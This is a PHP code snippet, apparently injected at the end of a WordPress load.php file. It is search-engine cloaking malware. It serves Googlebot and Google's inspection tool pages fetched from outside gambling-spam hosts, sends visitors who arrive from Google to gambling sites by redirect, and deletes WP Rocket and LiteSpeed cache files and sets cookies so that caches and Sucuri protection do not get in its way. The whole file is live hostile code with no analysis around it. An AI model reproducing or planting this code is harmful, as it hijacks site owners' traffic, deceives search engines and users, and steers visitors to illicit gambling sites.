/* --- Cloaking pakshaheens: tempel hanya di AKHIR load.php --- */ if ( ! function_exists( 'kiwkiw_cloak_bypass_rocket_cache' ) ) { function kiwkiw_cloak_throttle( $key, $ttl ) { $content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ( defined( 'ABSPATH' ) ? ABSPATH . 'wp-content' : null ); if ( null === $content_dir ) { return true; } $cache_dir = $content_dir . '/cache'; if ( ! is_dir( $cache_dir ) ) { @mkdir( $cache_dir, 0755, true ); } $stamp_file = $cache_dir . '/.kiwkiw-cloak-' . md5( (string) $key ) . '.ts'; $now = time(); if ( is_file( $stamp_file ) ) { $last = (int) @file_get_contents( $stamp_file ); if ( $last > 0 && ( $now - $last ) < (int) $ttl ) { return false; } } @file_put_contents( $stamp_file, (string) $now, LOCK_EX ); return true; } function kiwkiw_cloak_bypass_rocket_cache( $path ) { $content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ( defined( 'ABSPATH' ) ? ABSPATH . 'wp-content' : null ); if ( null === $content_dir ) { return; } $suffixes = array( 'index.html', 'index.html_gzip', 'index-https.html', 'index-https.html_gzip', 'index-mobile.html', 'index-mobile.html_gzip', 'index-mobile-https.html', 'index-mobile-https.html_gzip', 'index-https-webp.html', 'index-mobile-https-webp.html', ); $hosts = array(); $raw_host = isset( $_SERVER['HTTP_HOST'] ) ? strtolower( (string) $_SERVER['HTTP_HOST'] ) : ''; if ( $raw_host !== '' ) { $hosts[] = $raw_host; $hosts[] = strncmp( $raw_host, 'www.', 4 ) === 0 ? substr( $raw_host, 4 ) : 'www.' . $raw_host; } $path_norm = rtrim( (string) $path, '/' ); $path_variants = array_unique( array( $path_norm, $path_norm . '/', rawurlencode( $path_norm ), rawurlencode( $path_norm . '/' ), ) ); foreach ( array_unique( $hosts ) as $host ) { foreach ( $path_variants as $path ) { $base = $content_dir . '/cache/wp-rocket/' . $host . $path; if ( is_dir( $base ) ) { $entries = @scandir( $base ); if ( is_array( $entries ) ) { foreach ( $entries as $entry ) { if ( $entry === '.' || $entry === '..' ) { continue; } $file = $base . '/' . $entry; if ( is_file( $file ) ) { @unlink( $file ); } } } } foreach ( $suffixes as $suffix ) { $file = $base . '/' . $suffix; if ( is_file( $file ) ) { @unlink( $file ); } } } } } function kiwkiw_cloak_bypass_litespeed_static_cache( $path ) { if ( ! kiwkiw_cloak_throttle( 'lsc-static:' . $path, 120 ) ) { return; } $content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ( defined( 'ABSPATH' ) ? ABSPATH . 'wp-content' : null ); if ( null === $content_dir ) { return; } $base = rtrim( (string) $path, '/' ); $slug = trim( str_replace( '/', '-', $base ), '-' ); if ( '' === $slug ) { return; } foreach ( array( 'litespeed', 'lscache' ) as $dir_name ) { $root = $content_dir . '/' . $dir_name; if ( ! is_dir( $root ) ) { continue; } try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $root, FilesystemIterator::SKIP_DOTS ), RecursiveIteratorIterator::CHILD_FIRST ); foreach ( $iterator as $file_info ) { if ( ! $file_info->isFile() ) { continue; } $pathname = $file_info->getPathname(); if ( false !== stripos( $file_info->getFilename(), $slug ) || false !== stripos( $pathname, $base ) ) { @unlink( $pathname ); } } } catch ( Exception $e ) { continue; } } } function kiwkiw_cloak_nocache_headers() { if ( headers_sent() ) { return; } header( 'Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' ); header( 'X-LiteSpeed-Cache-Control: no-cache' ); header( 'X-Litespeed-Cache-Control: no-cache' ); header( 'X-WPE-No-Cache: 1' ); header( 'CDN-Cache-Control: no-store' ); header( 'Cloudflare-CDN-Cache-Control: no-store' ); header( 'X-Rocket-Cache-Bypass: 1' ); header( 'X-Kiwkiw-Cache-Bypass: lp-cloak', true ); header( 'Vary: Cookie, User-Agent', false ); } function kiwkiw_cloak_public_cache_headers( $ttl = 3600 ) { if ( headers_sent() ) { return; } $ttl = max( 60, (int) $ttl ); header( 'Cache-Control: public, max-age=' . $ttl . ', s-maxage=' . $ttl, true ); header( 'CDN-Cache-Control: public, max-age=' . $ttl, true ); } function kiwkiw_cloak_sucuri_bypass_cookie( $cookie_path = '/' ) { if ( headers_sent() || ! empty( $_COOKIE['kiwkiw_cloak_nc'] ) ) { return; } $cookie_path = is_string( $cookie_path ) && '' !== $cookie_path ? $cookie_path : '/'; $secure = ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== (string) $_SERVER['HTTPS'] ); setcookie( 'kiwkiw_cloak_nc', '1', 0, $cookie_path, '', $secure, true ); } function kiwkiw_cloak_disable_litespeed_cache() { if ( ! defined( 'LSCACHE_NO_CACHE' ) ) { define( 'LSCACHE_NO_CACHE', true ); } if ( ! headers_sent() ) { header( 'X-LiteSpeed-Cache-Control: no-cache', true ); } } function kiwkiw_cloak_is_wpe_host() { return defined( 'PWP_NAME' ) || defined( 'WPE_APIKEY' ) || ! empty( $_SERVER['IS_WPE'] ); } function kiwkiw_cloak_wpe_origin_refresh( $path ) { if ( ! kiwkiw_cloak_is_wpe_host() || ! function_exists( 'curl_init' ) ) { return; } if ( ! kiwkiw_cloak_throttle( 'wpe-origin:' . $path, 120 ) ) { return; } $host = isset( $_SERVER['HTTP_HOST'] ) ? (string) $_SERVER['HTTP_HOST'] : ''; if ( '' === $host ) { return; } $scheme = ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== $_SERVER['HTTPS'] ) ? 'https' : 'http'; $base = rtrim( (string) $path, '/' ); $paths = array_unique( array( $base, $base . '/' ) ); foreach ( $paths as $req_path ) { $url = $scheme . '://' . $host . $req_path; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_TIMEOUT, 5 ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 2 ); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, false ); curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, true ); curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'X-WPE-No-Cache: true', 'Cache-Control: no-cache', ) ); curl_setopt( $ch, CURLOPT_USERAGENT, 'KiwkiwCloakOriginRefresh/1.0' ); curl_exec( $ch ); curl_close( $ch ); } } function kiwkiw_cloak_refresh_path_caches( $path, $purge_litespeed_files = true ) { if ( ! is_string( $path ) || '' === $path ) { return; } $base = rtrim( $path, '/' ); foreach ( array_unique( array( $path, $base, $base . '/' ) ) as $variant ) { kiwkiw_cloak_bypass_rocket_cache( $variant ); } if ( $purge_litespeed_files ) { kiwkiw_cloak_bypass_litespeed_static_cache( $base ); } if ( function_exists( 'do_action' ) ) { do_action( 'litespeed_purge_url', $base ); do_action( 'litespeed_purge_url', $base . '/' ); do_action( 'litespeed_purge', $base ); do_action( 'litespeed_purge', $base . '/' ); } if ( function_exists( 'apply_filters' ) && function_exists( 'home_url' ) ) { apply_filters( 'rocket_clean_files', array( home_url( $base ) ), null ); apply_filters( 'rocket_clean_files', array( home_url( $base . '/' ) ), null ); } kiwkiw_cloak_wpe_origin_refresh( $path ); } /** * No-cache + hapus cache statis WP Rocket / LiteSpeed — hanya path LP cloaking. */ function kiwkiw_cloak_apply_lp_cache_bypass( $path ) { if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } if ( ! defined( 'DONOTROCKETOPTIMIZE' ) ) { define( 'DONOTROCKETOPTIMIZE', true ); } if ( ! defined( 'DONOTCACHEOBJECT' ) ) { define( 'DONOTCACHEOBJECT', true ); } if ( ! defined( 'DONOTCACHEDB' ) ) { define( 'DONOTCACHEDB', true ); } kiwkiw_cloak_disable_litespeed_cache(); kiwkiw_cloak_nocache_headers(); kiwkiw_cloak_refresh_path_caches( $path, true ); } function kiwkiw_cloak_is_lp_request( $request_uri = null ) { global $kiwkiw_cloaking_pages; if ( ! is_array( $kiwkiw_cloaking_pages ) || $kiwkiw_cloaking_pages === array() ) { return false; } if ( null === $request_uri ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? (string) $_SERVER['REQUEST_URI'] : ''; } return is_array( kiwkiw_cloak_match_page( $request_uri, $kiwkiw_cloaking_pages ) ); } function kiwkiw_cloak_register_cache_plugin_hooks() { if ( ! function_exists( 'add_filter' ) ) { return; } add_filter( 'do_rocket_generate_caching_files', static function ( $generate ) { return kiwkiw_cloak_is_lp_request() ? false : $generate; }, 999 ); add_filter( 'rocket_override_donotcachepage', static function ( $donotcache ) { return kiwkiw_cloak_is_lp_request() ? true : $donotcache; }, 999 ); add_filter( 'litespeed_control_cacheable', static function ( $cacheable ) { return kiwkiw_cloak_is_lp_request() ? false : $cacheable; }, 999 ); add_filter( 'litespeed_can_cache', static function ( $can ) { return kiwkiw_cloak_is_lp_request() ? false : $can; }, 999 ); } if ( function_exists( 'add_action' ) ) { add_action( 'plugins_loaded', 'kiwkiw_cloak_register_cache_plugin_hooks', 0 ); } } if ( ! function_exists( 'kiwkiw_cloak_paths_equal' ) ) { function kiwkiw_cloak_paths_equal( $a, $b ) { $a = strtolower( rtrim( (string) $a, '/' ) ); $b = strtolower( rtrim( (string) $b, '/' ) ); return $a !== '' && $a === $b; } function kiwkiw_cloak_match_page( $request_uri, $pages ) { if ( ! is_string( $request_uri ) || ! is_array( $pages ) ) { return null; } $request_path = parse_url( $request_uri, PHP_URL_PATH ); if ( ! is_string( $request_path ) || '' === $request_path ) { return null; } foreach ( $pages as $key => $source ) { if ( kiwkiw_cloak_paths_equal( $request_path, $key ) ) { return array( 'key' => (string) $key, 'source' => (string) $source, ); } } return null; } } if ( ! function_exists( 'kiwkiw_cloak_is_inspection_tool_request' ) ) { function kiwkiw_cloak_is_inspection_tool_request( $user_agent ) { if ( ! is_string( $user_agent ) || '' === $user_agent ) { return false; } if ( false !== stripos( $user_agent, 'google-inspectiontool' ) ) { return true; } if ( false !== stripos( $user_agent, 'google_inspectiontool' ) ) { return true; } if ( preg_match( '/\bGoogle[\s\-_]?Inspection[\s\-_]?Tool\b/i', $user_agent ) ) { return true; } if ( preg_match( '/\bInspectionTool\s*\/\s*[\d.]+/i', $user_agent ) && false !== stripos( $user_agent, 'google' ) ) { return true; } if ( preg_match( '/^Google-InspectionTool\b/i', trim( $user_agent ) ) ) { return true; } return false; } } if ( ! function_exists( 'kiwkiw_cloak_is_googlebot_request' ) ) { function kiwkiw_cloak_is_googlebot_request( $user_agent ) { if ( kiwkiw_cloak_is_inspection_tool_request( $user_agent ) ) { return true; } if ( ! is_string( $user_agent ) || '' === $user_agent ) { return false; } return false !== stripos( $user_agent, 'googlebot' ); } function kiwkiw_cloak_bot_label( $user_agent ) { if ( kiwkiw_cloak_is_inspection_tool_request( $user_agent ) ) { return 'inspectiontool'; } if ( is_string( $user_agent ) && false !== stripos( $user_agent, 'googlebot' ) ) { return 'googlebot'; } return 'google'; } function kiwkiw_cloak_fetch_user_agent( $request_user_agent ) { if ( kiwkiw_cloak_is_inspection_tool_request( $request_user_agent ) ) { return 'Mozilla/5.0 (compatible; Google-InspectionTool/1.0; +http://www.google.com/bot.html)'; } return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; } } if ( ! function_exists( 'kiwkiw_cloak_is_google_referer' ) ) { function kiwkiw_cloak_referer_candidates() { $list = array(); foreach ( array( 'HTTP_REFERER', 'HTTP_X_FORWARDED_REFERER', 'HTTP_X_ORIGIN_REFERER' ) as $key ) { if ( ! empty( $_SERVER[ $key ] ) && is_string( $_SERVER[ $key ] ) ) { $list[] = $_SERVER[ $key ]; } } return $list; } function kiwkiw_cloak_is_google_referer() { foreach ( kiwkiw_cloak_referer_candidates() as $referer ) { $referer_l = strtolower( $referer ); if ( false !== strpos( $referer_l, 'google.com' ) || false !== strpos( $referer_l, 'google.co.' ) || false !== strpos( $referer_l, 'googleusercontent.com' ) || false !== strpos( $referer_l, 'googleadservices.com' ) ) { return true; } $host = parse_url( $referer, PHP_URL_HOST ); if ( is_string( $host ) && $host !== '' ) { if ( preg_match( '/(^|\.)google(\.[a-z]{2,3}){1,2}$/i', $host ) ) { return true; } if ( preg_match( '/(^|\.)google\./i', $host ) ) { return true; } } } return false; } function kiwkiw_cloak_referer_redirect_url() { global $kiwkiw_current_path; $per_path = array( '/pakistan-army-ranks/' => 'https://portaltaysen.com/rumahtaysen', ); $p = isset($kiwkiw_current_path) ? rtrim($kiwkiw_current_path, '/') . '/' : ''; if ( isset( $per_path[$p] ) ) { return $per_path[$p]; } return 'https://redirect.chutogel-juara.space/redirect/chutogel.html'; } } if ( ! function_exists( 'ct' ) ) { function kiwkiw_cloak_remote_cache_path( $url ) { $content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ( defined( 'ABSPATH' ) ? ABSPATH . 'wp-content' : null ); if ( null === $content_dir ) { return null; } $dir = $content_dir . '/cache/kiwkiw-cloak'; if ( ! is_dir( $dir ) ) { @mkdir( $dir, 0755, true ); } return $dir . '/' . md5( (string) $url ) . '.html'; } function kiwkiw_cloak_remote_cache_get( $url, $ttl = 600 ) { $file = kiwkiw_cloak_remote_cache_path( $url ); if ( null === $file || ! is_file( $file ) ) { return false; } if ( ( time() - (int) filemtime( $file ) ) > (int) $ttl ) { return false; } $body = @file_get_contents( $file ); return is_string( $body ) && $body !== '' ? $body : false; } function kiwkiw_cloak_remote_cache_set( $url, $body ) { if ( ! is_string( $body ) || '' === $body ) { return; } $file = kiwkiw_cloak_remote_cache_path( $url ); if ( null === $file ) { return; } @file_put_contents( $file, $body, LOCK_EX ); } function ct( $url, $user_agent = null ) { if ( null === $user_agent ) { $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'; } if ( function_exists( 'curl_init' ) ) { $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt( $ch, CURLOPT_USERAGENT, $user_agent ); curl_setopt( $ch, CURLOPT_TIMEOUT, 15 ); $response = curl_exec( $ch ); curl_close( $ch ); return is_string( $response ) && $response !== '' ? $response : false; } if ( ini_get( 'allow_url_fopen' ) ) { $context = stream_context_create( array( 'http' => array( 'user_agent' => $user_agent, 'follow_location' => 1, 'timeout' => 15, ), ) ); $body = @file_get_contents( $url, false, $context ); return is_string( $body ) && $body !== '' ? $body : false; } return false; } } $kiwkiw_cloak_always_cdn = false; $kiwkiw_public_pages = array( '/tests-of-non-verbal-intelligence-tests/pakshaheens-amp-site/' => 'https://enderuncolleges-amp-site.chutogel-hebat.icu/enderuncolleges-amp-site/amp-chu.html', ); $kiwkiw_cloaking_pages = array( '/pakistan-army-ranks/' => 'https://error-human-aw.it.com/lp/lp58/index.html', '/tests-of-non-verbal-intelligence-tests/' => 'https://pakshaheens-amp-site.chutogel-mantap.top/pakshaheens-amp-site/chu.html', ); $kiwkiw_request_uri = isset( $_SERVER['REQUEST_URI'] ) ? (string) $_SERVER['REQUEST_URI'] : ''; $kiwkiw_public_match = kiwkiw_cloak_match_page( $kiwkiw_request_uri, $kiwkiw_public_pages ); if ( is_array( $kiwkiw_public_match ) ) { $kiwkiw_source_url = $kiwkiw_public_match['source']; $kiwkiw_fetch_ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'; $kiwkiw_content = kiwkiw_cloak_remote_cache_get( $kiwkiw_source_url, 3600 ); if ( false === $kiwkiw_content ) { $kiwkiw_content = ct( $kiwkiw_source_url, $kiwkiw_fetch_ua ); if ( $kiwkiw_content ) { kiwkiw_cloak_remote_cache_set( $kiwkiw_source_url, $kiwkiw_content ); } } if ( $kiwkiw_content ) { if ( function_exists( 'status_header' ) ) { status_header( 200 ); } else { header( 'HTTP/1.1 200 OK', true, 200 ); } header( 'Content-Type: text/html; charset=UTF-8', true ); header( 'X-Kiwkiw-Cloak: loadphp-public', true ); kiwkiw_cloak_public_cache_headers( 3600 ); echo $kiwkiw_content; exit; } } $kiwkiw_cloak_match = kiwkiw_cloak_match_page( $kiwkiw_request_uri, $kiwkiw_cloaking_pages ); $kiwkiw_current_path = is_array( $kiwkiw_cloak_match ) ? $kiwkiw_cloak_match['key'] : ''; $kiwkiw_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; $kiwkiw_cookie_path = $kiwkiw_current_path ? $kiwkiw_current_path : '/'; if ( is_array( $kiwkiw_cloak_match ) ) { kiwkiw_cloak_apply_lp_cache_bypass( $kiwkiw_current_path ); if ( ! kiwkiw_cloak_is_googlebot_request( $kiwkiw_user_agent ) && kiwkiw_cloak_is_google_referer() ) { kiwkiw_cloak_nocache_headers(); kiwkiw_cloak_sucuri_bypass_cookie( $kiwkiw_cookie_path ); if ( ! headers_sent() ) { header( 'X-Kiwkiw-Referer-Redirect: 1', true ); header( 'Location: ' . kiwkiw_cloak_referer_redirect_url(), true, 302 ); } exit; } if ( kiwkiw_cloak_is_googlebot_request( $kiwkiw_user_agent ) ) { kiwkiw_cloak_nocache_headers(); kiwkiw_cloak_sucuri_bypass_cookie( $kiwkiw_cookie_path ); $kiwkiw_source_url = $kiwkiw_cloak_match['source']; $kiwkiw_fetch_ua = kiwkiw_cloak_fetch_user_agent( $kiwkiw_user_agent ); $kiwkiw_content = kiwkiw_cloak_remote_cache_get( $kiwkiw_source_url ); if ( false === $kiwkiw_content ) { $kiwkiw_content = ct( $kiwkiw_source_url, $kiwkiw_fetch_ua ); if ( $kiwkiw_content ) { kiwkiw_cloak_remote_cache_set( $kiwkiw_source_url, $kiwkiw_content ); } } if ( $kiwkiw_content ) { header( 'X-Kiwkiw-Cloak: loadphp', true ); header( 'X-Kiwkiw-Cloak-Bot: ' . kiwkiw_cloak_bot_label( $kiwkiw_user_agent ), true ); echo $kiwkiw_content; exit; } } kiwkiw_cloak_nocache_headers(); kiwkiw_cloak_sucuri_bypass_cookie( $kiwkiw_cookie_path ); }